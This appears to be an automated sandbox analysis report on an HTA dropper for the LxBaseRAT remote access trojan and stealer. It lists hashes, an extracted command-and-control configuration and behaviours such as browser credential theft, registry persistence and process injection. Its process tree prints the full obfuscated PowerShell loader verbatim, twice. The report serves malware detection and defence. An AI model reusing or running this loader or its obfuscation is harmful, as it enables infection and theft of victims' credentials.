lxbaserat | 5435ec2d38053a71a2f474407f4be84dde6b763f88d026c9d59b7f253b0a184e

Analysis

max time kernel
298s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/10/2026, 09:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Requirement List & Specifications.hta
Size 30KB
Sample261020-k68stsfx4v
SHA256 5435ec2d38053a71a2f474407f4be84dde6b763f88d026c9d59b7f253b0a184e
MD5 6cae0521449ffea1c590b436d2e43be6
SHA1 baf19c4a3f98b102fbc67892f269133246aacdd0
SHA512 208e7d24c7d6d347aa9eb2cf4d982c727315f3a71ee1ed269cf2b8eca7f81840b11bdde7ce9555e8f7b12da6f33903b77ea93fc52291bac7de2715611ab7de78
SSDEEP 192:vTj45ewNSe/7zygoWWhlrC8VnfXuS/q1K91q1LPOUApxPpe3bc1rqCOVkyM5DJtJ:vShCVLRfXXqNrCV3NVLYsQ772ue
TLSH
T195D2D8C7B2CD2F79C7BCC8DDA07A9C4409D4777A0CA68A309AF4844FBE9E52504786B5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

frost zynova f97c184d3ebe4ee9ada1a3cd041ad9fe collection defense_evasion discovery execution lxbaserat persistence rat spyware stealer

Malware Config

Extracted

Family

lxbaserat

Version

1.0.50

Botnet

Frost Zynova

Campaign

f97c184d3ebe4ee9ada1a3cd041ad9fe

tarxl.electronicracks.com:2683

Attributes

directory
WindowsTelemetry\Logs
executable
client.exe
password
wCraTsNkzb02iL17ZeG2

Signatures

Family: LxBaseRAT
LxBaseRAT is a .NET remote access trojan with stealer capabilities.
rat lxbaserat

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	3088	powershell.exe
12	3088	powershell.exe
18	3088	powershell.exe
20	3088	powershell.exe
21	3088	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1696	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 2 IoCs

pid	Process
4492	.dfc_b5311fa7.dat
3280	.dfc_488df484.dat

Loads dropped DLL 1 IoCs

pid	Process
2456	chrome.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	Msbuild.exe
Key queried	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	Msbuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Msbuild.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FmnealebFb = "\"C:\\ProgramData\\pSFSkrr.hta\""	powershell.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
24	ip-api.com

SmartAssembly .NET packer 1 IoCs

Detects SmartAssembly .NET packer.

resource	yara_rule
behavioral3/memory/3088-13-0x000002871DF10000-0x000002871DF2E000-memory.dmp	SmartAssembly

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3088 set thread context of 4044	3088	powershell.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1752	cmd.exe
1636	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
4928	taskkill.exe
896	taskkill.exe
3232	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3088	powershell.exe
3088	powershell.exe
3088	powershell.exe
1696	powershell.exe
1696	powershell.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe
4044	Msbuild.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4044	Msbuild.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3088	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeDebugPrivilege	3232	taskkill.exe
Token: SeDebugPrivilege	4928	taskkill.exe
Token: SeDebugPrivilege	896	taskkill.exe
Token: SeDebugPrivilege	4044	Msbuild.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4460 wrote to memory of 1752	4460	mshta.exe	83
PID 1752 wrote to memory of 3088	1752	cmd.exe	85
PID 3088 wrote to memory of 1696	3088	powershell.exe	93
PID 1696 wrote to memory of 1636	1696	powershell.exe	95
PID 1636 wrote to memory of 3232	1636	cmd.exe	97
PID 1636 wrote to memory of 4928	1636	cmd.exe	99
PID 1636 wrote to memory of 896	1636	cmd.exe	100
PID 3088 wrote to memory of 4044	3088	powershell.exe	101
PID 3088 wrote to memory of 4044	3088	powershell.exe	101
PID 3088 wrote to memory of 4044	3088	powershell.exe	101
PID 3088 wrote to memory of 4044	3088	powershell.exe	101
PID 3088 wrote to memory of 4044	3088	powershell.exe	101
PID 4044 wrote to memory of 2456	4044	Msbuild.exe	104
PID 4044 wrote to memory of 5024	4044	Msbuild.exe	105
PID 5024 wrote to memory of 876	5024	csc.exe	107
PID 4044 wrote to memory of 4492	4044	Msbuild.exe	108
PID 4044 wrote to memory of 684	4044	Msbuild.exe	112
PID 684 wrote to memory of 4304	684	csc.exe	114
PID 4044 wrote to memory of 3280	4044	Msbuild.exe	115

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Msbuild.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Requirement List & Specifications.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4460
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe ""$j=26-76;$it86Wyv='6IZAfhWw4pTz';$bJGAjlb='QvphmLN41gjABf0H';$g4ujFnxX='QjNNN041m1LANpmhm04LNBNvQ140p1hHLvvA4NQgQLv4hgvhL4h4NppNN4Nv4mL0vjmHNhQ0pH4BN0NfLgmQ4g4QLmvQm1LpQh40mp4jmHL4hAvghfL04BmgQp4mp1hHLvvAhNQgQvv4LLmpvLN4NLmQNvNHh4v4QQmH4gQ1m14vp0L4LgLBNjLgQNQhhLmNQhNvp1hHLLQHhfvNmjmhphmBv1h4NphL4QL4NhmjvjmphLQmQLh1pAhpm4vNNp4NmjmhLhvfmmh4NpmQv1LALQQQQBLpNvLpm141pgNNQ4NgL0LmvfL0NAmfmpm4NLNhm1vBm1mhQfmLNjmgQp4mLfpvQNN4LgNALNQmmgmLv1mQ4mNgLLLBNjQLmjmLp4LfNvvgQfvvvBvppfQfhLNmNALmmpmQNLNgmjLAN0m1h0mLN4m0v1L0Nv4LLfLLN1LHhhvQhm4hQg4Q4LNgLLmN4m4fvBmL4jmHQH4BNBhAQvvpLNNhQAL0pQ4hQg4Q4LNgLLmN4m4fvBmL4jmHQH4BNBmHmLmpN14QLmvQLjmBvHpphpvNhNNv4gmBvBL0ph4hQQ4NNLNAvBvHL0m1QfmLNQmmvHhhhhvNhNvppfQfm0mB4Am0QHN4Ng4mLpvpmgmpvgmmNpmHQf44mm4jm1LhmALHQvm4mpmgQp414hhAm4vp4fmBvBmANhQQmmm14hNHm0LANhmjhL44LhQmQfphpghAhvh1pfQfm0QjpjmvLfhhhfhA4pL44jQQpvm1NmmLQHN4pQm1mLmv4gm1QhQmmQmLv1hfL440L04vNvmmQAmm4jvAmBv0QjhAvBvppfQgQHv1p0vfmBLmNLNHvvNQNBmhQjmLNhQQmvLjN0NAmgmNmpmHQmmHNfLmmBh4NvpAvBvHm0mpvAmm4jQQm14phQhL4QL4NhmjvjmphLQQNvvgpQhAvBvpNAmpvBmHNHmhQmhhp1hHLfQvpfmmQQQjpjmvL0hjpQNQvBmN4HLmm0Lvp0LpQgN44LNgLpvppgmBLHQmmjmHvA4fNB4mLfLNmgmBvjmApNQmQfpQpghAmvvpN0mBvjmgNNQQv4hhNh4mLpmNNmmhvAmHp0LfmBN0hAhAhvh1pfQfm0Qj4BmLv1NN4p4LvBvNNhL1QpmNp0LfL4hhQfvvvBvppfQfmjmAhjQQLvhhp4hBQ4hHQ4Qfm0Qjp0QmQfpNpQpNvBvjLpmHpHm0NhQQmALjLmpAQL4fLLNhQh4QNgvfLvhmpgpQhvh1pgmBL1QjhhQQmBh4NvpHvBvgpgmB';$iVbiBEA='jNf4Hp000h0ffpHpALAmBvHHj0BBAHBB0A0ggh0mAvH0fvH4BB10A01Qj00ffLAmjp0mgHAjjQg1BNA0HQjLfg11jpAfBLAgfmALg1j01QH1gHAmBNANgAgQBQf1BpBh0j0mf0HjALAmB4HHA1BBf4AAjv1BgNAHAvHpgmg404gAjLf4jAHjg4gLHL0vg414fL1pgjf4HpH1j1AAfQA0AfApBjfgANj4jBHAj1ABjQAAA1jLH1ggf1Bf0j0vfjHNHQ0hfvHmAhBmjQ1N1pjggHHpANAQAgAhjjANBBgQHmj1gHAN0gAhjNAAjL1jj1A0Hmg41AgHjmgggN0pj0BAfNBf0jHNfpHpAvHLfvHHAhBBHp0004jBBLHpjBHLALAQ0m1pgh1AjpjgANAh0LAmA4jfHB1vAh1fjfjN1vHpALAmBv0mg00NfHBm0h0ffpHpAvHLg1AgAhBmfA1LHm0ffHABHmHLfLAv0N1QghBf0hANfpHNHQ0ffv0pAhA4jBgfAQAgg4AHAH1vgmj404BpAj1jjQjpgNAAHHApjB0LjgAgjAjpHA0hALA40L1N1LjfHj1pg1BB04jBBLHAjjf1HAHHAhBBfHBm04jBBAHpjBHLfg1QHvjfgA1g0h0jgN1jBmAmAg1fjpfHgAghH0HQfLHAjjHLfLAfjhBBBpBm0AgpgQghHLA1fvH1H4Amjjjjj4H0gv0HANHBBjHHA410B0BmH00ffNAhjgHAA1AvH41g14jAjL0LfNAhj1HBBjHHg00NfHBm0h0ffNAQjhHLBBHHA41fB4Bj1jjhgNA40ggjg4H4A410BHBfH1BQH1HpAvHLfvHHHj1jfHBB04jHBhHpABApgmHHjhBBfp1LjfjgfpHNHh04fvHpHmg1fHBQjvHBfAHp0jHLfLAfjpBBfmfg0h0ggh0AAHgggmAvHmg1g4fH0hBQH1HpAvHLfvHAHvfHfHfg0h0ggQ0QAvH1fvHAHvffBm0gBg0ffpHpAvHLfLAfj4BBBpBm04jBBjHBBpjQghjB04g0gN1jjm0LfNAQjQHgfvHAHvfHfNfHB0B4fpHpAvHvgh0fAhfvfHBQjpHLfBgAHHAvgmj4fB1jf4BQjvHffA0ggBfHfvHHAhBBfHBQjvH1fp0HAv10jpjN0Qg1gj1g0f10gfAB04AQ1hjAB0fNBLjpAvjpgHgQHQjNgm0gj4AH1AgNjjjhgLHjALA4BLHNj1BBfHBm04jHBQHpjBHLfLA0jABpAN1jj4j11jgfH4HffLAfjhBLBmBm0h0ffNAQ';$eTyrQoNJ='h1LLLALf40hLLhNLmvppQBph4phjQQLL40hNLANphhmvNpNNpjLLmNLgh1NpmA4Np1v4hAhH4gQvQhvQ4mQNQ0pfNmpgQAhpNhvjQ1LhvAp4v1p0NLp0QmhHL4mHLBhvhLhLQHNhpBp0LfNHhv41NBLf4jvhQ0hHpLvBvjpgNgvQvLQ04jp1mAv1N4h0vBNAmLv4QBv1hgpQmAQ1L1vgm1NAm0vQvLv0hHhjQHppNNpAm1hjpjpNQhvvhHh4vHNNm4p0QpphNgQvmNLQvBhfvgh14BNBLfNN4NLLpQvpp1hgQjhHpLv1QgpmNNvQmNhhhAhgQ0N4mAvBhfmAQQLLmNLf4j4QQg4Bp14vm1NpN1mhm1hjhHpQhHhp41pgmQN0LLv4p4vgh44mmBQvmBQfLfQg4fm1LALj4h4mmQNApQvhQjQ4N0v1mNLjvQhfLH4BmhQHhjp1mApNhHvNvNv4vB4fpHNLmv4fQ44HNA444j4mmANApBp0LQ4ApppjQmhBh0hgmANBmjQ1Q4hmLjhNp4vvvNQLLN4NpHNLLhmAQQLLmNLf4j4QQg4pp14vm1N0LLv4p4vgh44mmBvALBQgLvvB4fmfQvhvhhh4QQQ4mA4fQLQjm0mLQgpfQ0pmQNQv4vvLQHvNLgvpvphmvgQvQmvAhjvfQHQHNQvgQAh4pQNQQNQv4vQNQhQBLgpQvLpfh4hQQNvANp4fQNQjNhpBLvhvN1h4LfvALAQfQvvBN4pHvBhphhNQLfQ4Nv4Bv0Qj4hmfvhhmQ0hAvfQ4LA4mvfQjLAm1LALj4h4mLQNApBp0LvNNh4LLmpvHNh4jh1h0NjhHvBhmNhvAQvLLNj41mANHNj4LmNQjNHvAQvQghp4mmNNAhg4gmvmAQQLvQLmf4jNgmANhL4p0pgppN4LLmvv1QANgLNNBpv44NLmBpjLLmNLf40h4LjNAhLNBmQvgN1hmQpvQ4j4hQfvjhL4vmHNHhv41NBLf4j4mmANHNA40m14ApjLvQmmj4mvhQ0hHmLpgvBp0NLvvm0LLQLhNpjpHNLNBmHQg4QQpQ1Lj4h4mmQNApQvhQjQ4N0v1mNLjvLh0Qm4NpHNLmvN1mhvAvQvphvhvmhNHNNhgQmpjpNLLhfvph1h0Q0p14Bv4hLvApjLfmpvHNh4mm4NHNA4fmmNNpppjQmhBh0hgmANBm4v0Q4vNmfvBpHmjvLphLN4NpHNLmmNNp0v4L0Lv4j4QQ14Ap1NQm1N0LLv4p4vgh44mmBQNLQQjm4NvphLBmHQQp4LgNv';$vC5Ut3ctq=0x9594-0x7E0B;$zht5TboQ=@();foreach($sTI23dbCa in [char[]]$it86Wyv){$zht5TboQ+=[byte]($sTI23dbCa-bxor0x5A)};$zeOTq2C=$zht5TboQ;$zht5TboQ=@();foreach($sTI23dbCa in [char[]]$it86Wyv){$zht5TboQ+=[byte]($sTI23dbCa-bxor0xA5)};$bwQQBgdR=$zht5TboQ;$zht5TboQ=@();foreach($sTI23dbCa in [char[]]$it86Wyv){$zht5TboQ+=[byte]($sTI23dbCa-bxor0x3C)};$zD7tq8=$zht5TboQ;$k7Vl0a9Ru='';$qQlfQji=0;$ouPia9Fw=0;while($qQlfQji-lt$g4ujFnxX.Length){$mglBFs0fa=$bJGAjlb.IndexOf($g4ujFnxX[$qQlfQji])*16+$bJGAjlb.IndexOf($g4ujFnxX[$qQlfQji+1]);if($ouPia9Fw-ge$zeOTq2C.Length){$ouPia9Fw=0};$k7Vl0a9Ru+=[char]($mglBFs0fa-bxor$zeOTq2C[$ouPia9Fw]);$ouPia9Fw++;$qQlfQji+=2};$jxwoLbVq8=$k7Vl0a9Ru;$k7Vl0a9Ru='';$qQlfQji=0;$ouPia9Fw=0;while($qQlfQji-lt$iVbiBEA.Length){$mglBFs0fa=$bJGAjlb.IndexOf($iVbiBEA[$qQlfQji])*16+$bJGAjlb.IndexOf($iVbiBEA[$qQlfQji+1]);if($ouPia9Fw-ge$bwQQBgdR.Length){$ouPia9Fw=0};$k7Vl0a9Ru+=[char]($mglBFs0fa-bxor$bwQQBgdR[$ouPia9Fw]);$ouPia9Fw++;$qQlfQji+=2};$lYYc6kNG=$k7Vl0a9Ru;$k7Vl0a9Ru='';$qQlfQji=0;$ouPia9Fw=0;while($qQlfQji-lt$eTyrQoNJ.Length){$mglBFs0fa=$bJGAjlb.IndexOf($eTyrQoNJ[$qQlfQji])*16+$bJGAjlb.IndexOf($eTyrQoNJ[$qQlfQji+1]);if($ouPia9Fw-ge$zD7tq8.Length){$ouPia9Fw=0};$k7Vl0a9Ru+=[char]($mglBFs0fa-bxor$zD7tq8[$ouPia9Fw]);$ouPia9Fw++;$qQlfQji+=2};$q45egpO=$k7Vl0a9Ru;$l7dQRJhv=$jxwoLbVq8+$lYYc6kNG+$q45egpO;^&([char[]](105,101,120)-join'') $l7dQRJhv""; Copy-Item -Path '"C:\Users\Admin\AppData\Local\Temp\Requirement List & Specifications.hta"' -Destination 'C:\ProgramData\pSFSkrr.hta' -Force""
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1752
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe ""$j=26-76;$it86Wyv='6IZAfhWw4pTz';$bJGAjlb='QvphmLN41gjABf0H';$g4ujFnxX='QjNNN041m1LANpmhm04LNBNvQ140p1hHLvvA4NQgQLv4hgvhL4h4NppNN4Nv4mL0vjmHNhQ0pH4BN0NfLgmQ4g4QLmvQm1LpQh40mp4jmHL4hAvghfL04BmgQp4mp1hHLvvAhNQgQvv4LLmpvLN4NLmQNvNHh4v4QQmH4gQ1m14vp0L4LgLBNjLgQNQhhLmNQhNvp1hHLLQHhfvNmjmhphmBv1h4NphL4QL4NhmjvjmphLQmQLh1pAhpm4vNNp4NmjmhLhvfmmh4NpmQv1LALQQQQBLpNvLpm141pgNNQ4NgL0LmvfL0NAmfmpm4NLNhm1vBm1mhQfmLNjmgQp4mLfpvQNN4LgNALNQmmgmLv1mQ4mNgLLLBNjQLmjmLp4LfNvvgQfvvvBvppfQfhLNmNALmmpmQNLNgmjLAN0m1h0mLN4m0v1L0Nv4LLfLLN1LHhhvQhm4hQg4Q4LNgLLmN4m4fvBmL4jmHQH4BNBhAQvvpLNNhQAL0pQ4hQg4Q4LNgLLmN4m4fvBmL4jmHQH4BNBmHmLmpN14QLmvQLjmBvHpphpvNhNNv4gmBvBL0ph4hQQ4NNLNAvBvHL0m1QfmLNQmmvHhhhhvNhNvppfQfm0mB4Am0QHN4Ng4mLpvpmgmpvgmmNpmHQf44mm4jm1LhmALHQvm4mpmgQp414hhAm4vp4fmBvBmANhQQmmm14hNHm0LANhmjhL44LhQmQfphpghAhvh1pfQfm0QjpjmvLfhhhfhA4pL44jQQpvm1NmmLQHN4pQm1mLmv4gm1QhQmmQmLv1hfL440L04vNvmmQAmm4jvAmBv0QjhAvBvppfQgQHv1p0vfmBLmNLNHvvNQNBmhQjmLNhQQmvLjN0NAmgmNmpmHQmmHNfLmmBh4NvpAvBvHm0mpvAmm4jQQm14phQhL4QL4NhmjvjmphLQQNvvgpQhAvBvpNAmpvBmHNHmhQmhhp1hHLfQvpfmmQQQjpjmvL0hjpQNQvBmN4HLmm0Lvp0LpQgN44LNgLpvppgmBLHQmmjmHvA4fNB4mLfLNmgmBvjmApNQmQfpQpghAmvvpN0mBvjmgNNQQv4hhNh4mLpmNNmmhvAmHp0LfmBN0hAhAhvh1pfQfm0Qj4BmLv1NN4p4LvBvNNhL1QpmNp0LfL4hhQfvvvBvppfQfmjmAhjQQLvhhp4hBQ4hHQ4Qfm0Qjp0QmQfpNpQpNvBvjLpmHpHm0NhQQmALjLmpAQL4fLLNhQh4QNgvfLvhmpgpQhvh1pgmBL1QjhhQQmBh4NvpHvBvgpgmB';$iVbiBEA='jNf4Hp000h0ffpHpALAmBvHHj0BBAHBB0A0ggh0mAvH0fvH4BB10A01Qj00ffLAmjp0mgHAjjQg1BNA0HQjLfg11jpAfBLAgfmALg1j01QH1gHAmBNANgAgQBQf1BpBh0j0mf0HjALAmB4HHA1BBf4AAjv1BgNAHAvHpgmg404gAjLf4jAHjg4gLHL0vg414fL1pgjf4HpH1j1AAfQA0AfApBjfgANj4jBHAj1ABjQAAA1jLH1ggf1Bf0j0vfjHNHQ0hfvHmAhBmjQ1N1pjggHHpANAQAgAhjjANBBgQHmj1gHAN0gAhjNAAjL1jj1A0Hmg41AgHjmgggN0pj0BAfNBf0jHNfpHpAvHLfvHHAhBBHp0004jBBLHpjBHLALAQ0m1pgh1AjpjgANAh0LAmA4jfHB1vAh1fjfjN1vHpALAmBv0mg00NfHBm0h0ffpHpAvHLg1AgAhBmfA1LHm0ffHABHmHLfLAv0N1QghBf0hANfpHNHQ0ffv0pAhA4jBgfAQAgg4AHAH1vgmj404BpAj1jjQjpgNAAHHApjB0LjgAgjAjpHA0hALA40L1N1LjfHj1pg1BB04jBBLHAjjf1HAHHAhBBfHBm04jBBAHpjBHLfg1QHvjfgA1g0h0jgN1jBmAmAg1fjpfHgAghH0HQfLHAjjHLfLAfjhBBBpBm0AgpgQghHLA1fvH1H4Amjjjjj4H0gv0HANHBBjHHA410B0BmH00ffNAhjgHAA1AvH41g14jAjL0LfNAhj1HBBjHHg00NfHBm0h0ffNAQjhHLBBHHA41fB4Bj1jjhgNA40ggjg4H4A410BHBfH1BQH1HpAvHLfvHHHj1jfHBB04jHBhHpABApgmHHjhBBfp1LjfjgfpHNHh04fvHpHmg1fHBQjvHBfAHp0jHLfLAfjpBBfmfg0h0ggh0AAHgggmAvHmg1g4fH0hBQH1HpAvHLfvHAHvfHfHfg0h0ggQ0QAvH1fvHAHvffBm0gBg0ffpHpAvHLfLAfj4BBBpBm04jBBjHBBpjQghjB04g0gN1jjm0LfNAQjQHgfvHAHvfHfNfHB0B4fpHpAvHvgh0fAhfvfHBQjpHLfBgAHHAvgmj4fB1jf4BQjvHffA0ggBfHfvHHAhBBfHBQjvH1fp0HAv10jpjN0Qg1gj1g0f10gfAB04AQ1hjAB0fNBLjpAvjpgHgQHQjNgm0gj4AH1AgNjjjhgLHjALA4BLHNj1BBfHBm04jHBQHpjBHLfLA0jABpAN1jj4j11jgfH4HffLAfjhBLBmBm0h0ffNAQ';$eTyrQoNJ='h1LLLALf40hLLhNLmvppQBph4phjQQLL40hNLANphhmvNpNNpjLLmNLgh1NpmA4Np1v4hAhH4gQvQhvQ4mQNQ0pfNmpgQAhpNhvjQ1LhvAp4v1p0NLp0QmhHL4mHLBhvhLhLQHNhpBp0LfNHhv41NBLf4jvhQ0hHpLvBvjpgNgvQvLQ04jp1mAv1N4h0vBNAmLv4QBv1hgpQmAQ1L1vgm1NAm0vQvLv0hHhjQHppNNpAm1hjpjpNQhvvhHh4vHNNm4p0QpphNgQvmNLQvBhfvgh14BNBLfNN4NLLpQvpp1hgQjhHpLv1QgpmNNvQmNhhhAhgQ0N4mAvBhfmAQQLLmNLf4j4QQg4Bp14vm1NpN1mhm1hjhHpQhHhp41pgmQN0LLv4p4vgh44mmBQvmBQfLfQg4fm1LALj4h4mmQNApQvhQjQ4N0v1mNLjvQhfLH4BmhQHhjp1mApNhHvNvNv4vB4fpHNLmv4fQ44HNA444j4mmANApBp0LQ4ApppjQmhBh0hgmANBmjQ1Q4hmLjhNp4vvvNQLLN4NpHNLLhmAQQLLmNLf4j4QQg4pp14vm1N0LLv4p4vgh44mmBvALBQgLvvB4fmfQvhvhhh4QQQ4mA4fQLQjm0mLQgpfQ0pmQNQv4vvLQHvNLgvpvphmvgQvQmvAhjvfQHQHNQvgQAh4pQNQQNQv4vQNQhQBLgpQvLpfh4hQQNvANp4fQNQjNhpBLvhvN1h4LfvALAQfQvvBN4pHvBhphhNQLfQ4Nv4Bv0Qj4hmfvhhmQ0hAvfQ4LA4mvfQjLAm1LALj4h4mLQNApBp0LvNNh4LLmpvHNh4jh1h0NjhHvBhmNhvAQvLLNj41mANHNj4LmNQjNHvAQvQghp4mmNNAhg4gmvmAQQLvQLmf4jNgmANhL4p0pgppN4LLmvv1QANgLNNBpv44NLmBpjLLmNLf40h4LjNAhLNBmQvgN1hmQpvQ4j4hQfvjhL4vmHNHhv41NBLf4j4mmANHNA40m14ApjLvQmmj4mvhQ0hHmLpgvBp0NLvvm0LLQLhNpjpHNLNBmHQg4QQpQ1Lj4h4mmQNApQvhQjQ4N0v1mNLjvLh0Qm4NpHNLmvN1mhvAvQvphvhvmhNHNNhgQmpjpNLLhfvph1h0Q0p14Bv4hLvApjLfmpvHNh4mm4NHNA4fmmNNpppjQmhBh0hgmANBm4v0Q4vNmfvBpHmjvLphLN4NpHNLmmNNp0v4L0Lv4j4QQ14Ap1NQm1N0LLv4p4vgh44mmBQNLQQjm4NvphLBmHQQp4LgNv';$vC5Ut3ctq=0x9594-0x7E0B;$zht5TboQ=@();foreach($sTI23dbCa in [char[]]$it86Wyv){$zht5TboQ+=[byte]($sTI23dbCa-bxor0x5A)};$zeOTq2C=$zht5TboQ;$zht5TboQ=@();foreach($sTI23dbCa in [char[]]$it86Wyv){$zht5TboQ+=[byte]($sTI23dbCa-bxor0xA5)};$bwQQBgdR=$zht5TboQ;$zht5TboQ=@();foreach($sTI23dbCa in [char[]]$it86Wyv){$zht5TboQ+=[byte]($sTI23dbCa-bxor0x3C)};$zD7tq8=$zht5TboQ;$k7Vl0a9Ru='';$qQlfQji=0;$ouPia9Fw=0;while($qQlfQji-lt$g4ujFnxX.Length){$mglBFs0fa=$bJGAjlb.IndexOf($g4ujFnxX[$qQlfQji])*16+$bJGAjlb.IndexOf($g4ujFnxX[$qQlfQji+1]);if($ouPia9Fw-ge$zeOTq2C.Length){$ouPia9Fw=0};$k7Vl0a9Ru+=[char]($mglBFs0fa-bxor$zeOTq2C[$ouPia9Fw]);$ouPia9Fw++;$qQlfQji+=2};$jxwoLbVq8=$k7Vl0a9Ru;$k7Vl0a9Ru='';$qQlfQji=0;$ouPia9Fw=0;while($qQlfQji-lt$iVbiBEA.Length){$mglBFs0fa=$bJGAjlb.IndexOf($iVbiBEA[$qQlfQji])*16+$bJGAjlb.IndexOf($iVbiBEA[$qQlfQji+1]);if($ouPia9Fw-ge$bwQQBgdR.Length){$ouPia9Fw=0};$k7Vl0a9Ru+=[char]($mglBFs0fa-bxor$bwQQBgdR[$ouPia9Fw]);$ouPia9Fw++;$qQlfQji+=2};$lYYc6kNG=$k7Vl0a9Ru;$k7Vl0a9Ru='';$qQlfQji=0;$ouPia9Fw=0;while($qQlfQji-lt$eTyrQoNJ.Length){$mglBFs0fa=$bJGAjlb.IndexOf($eTyrQoNJ[$qQlfQji])*16+$bJGAjlb.IndexOf($eTyrQoNJ[$qQlfQji+1]);if($ouPia9Fw-ge$zD7tq8.Length){$ouPia9Fw=0};$k7Vl0a9Ru+=[char]($mglBFs0fa-bxor$zD7tq8[$ouPia9Fw]);$ouPia9Fw++;$qQlfQji+=2};$q45egpO=$k7Vl0a9Ru;$l7dQRJhv=$jxwoLbVq8+$lYYc6kNG+$q45egpO;&([char[]](105,101,120)-join'') $l7dQRJhv""; Copy-Item -Path '"C:\Users\Admin\AppData\Local\Temp\Requirement List & Specifications.hta"' -Destination 'C:\ProgramData\pSFSkrr.hta' -Force""
    3⤵
    - Badlisted process makes network request
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
